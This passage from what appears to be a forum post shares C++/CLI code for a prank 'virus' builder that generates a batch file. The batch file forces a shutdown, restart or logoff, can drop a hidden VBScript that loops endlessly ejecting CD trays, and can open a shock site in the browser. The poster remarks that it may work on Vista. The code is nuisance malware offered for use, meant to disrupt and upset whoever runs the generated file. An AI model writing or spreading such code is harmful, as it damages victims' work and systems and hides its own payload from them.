bat->WriteLine ();
bat->Write ("shutdown.exe -s -f -t ");
bat->Write (maskedTextBox1->Text);
bat->Write (" -c ");
bat->Write (maskedTextBox2->Text);
bat->Write (textBox1->Text);
bat->Write (maskedTextBox2->Text);
bat->WriteLine ();
}
if( radioButton2->Checked)
{
bat->WriteLine ();
bat->Write ("shutdown.exe -r -f -t ");
bat->Write (maskedTextBox1->Text);
bat->Write (" -c ");
bat->Write (maskedTextBox2->Text);
bat->Write (textBox1->Text);
bat->Write (maskedTextBox2->Text);
bat->WriteLine ();
}
if( radioButton4->Checked)
{
bat->WriteLine ();
bat->Write ("shutdown.exe -l -f -t ");
bat->Write (maskedTextBox1->Text);
bat->Write (" -c ");
bat->Write (maskedTextBox2->Text);
bat->Write (textBox1->Text);
bat->Write (maskedTextBox2->Text);
bat->WriteLine ();
}
if( checkBox6->CheckState == CheckState::Checked )
{
bat->WriteLine ();
bat->Write ("echo set oWMP = createobject");
bat->Write (maskedTextBox3->Text);
bat->Write (maskedTextBox2->Text);
bat->Write ("WMPlayer.OCX.7");
bat->Write (maskedTextBox2->Text);
bat->Write (maskedTextBox5->Text);
bat->Write (" >>C:\\lol.vbs");
bat->WriteLine ();
bat->WriteLine("echo Set colCDROMs = oWMP.cdromCollection >>c:\\lol.vbs");
bat->WriteLine("echo do>>c:\\lol.vbs");
bat->WriteLine("echo if colCDROMs.Count >= 1 then >>c:\\lol.vbs");
bat->WriteLine("echo For i = 0 to colCDROMs.Count - 1 >>c:\\lol.vbs");
bat->WriteLine("echo colCDROMs.Item(i).Eject >>c:\\lol.vbs");
bat->WriteLine("echo Next ' cdrom >>c:\\lol.vbs");
bat->WriteLine("echo end if >>c:\\lol.vbs");
bat->WriteLine("echo loop >>c:\\lol.vbs");
bat->WriteLine("attrib +h +s C:\\lol.vbs");
bat->WriteLine("start C:\\lol.vbs");
}
bat->Close();
};
};
}Code:
bat->WriteLine ("start http://www.youtube.com");Code:
bat->WriteLine ("start http://www. meat spin .com");[attachment=1281]
edit: i just looked around, this might actually be usable on vista!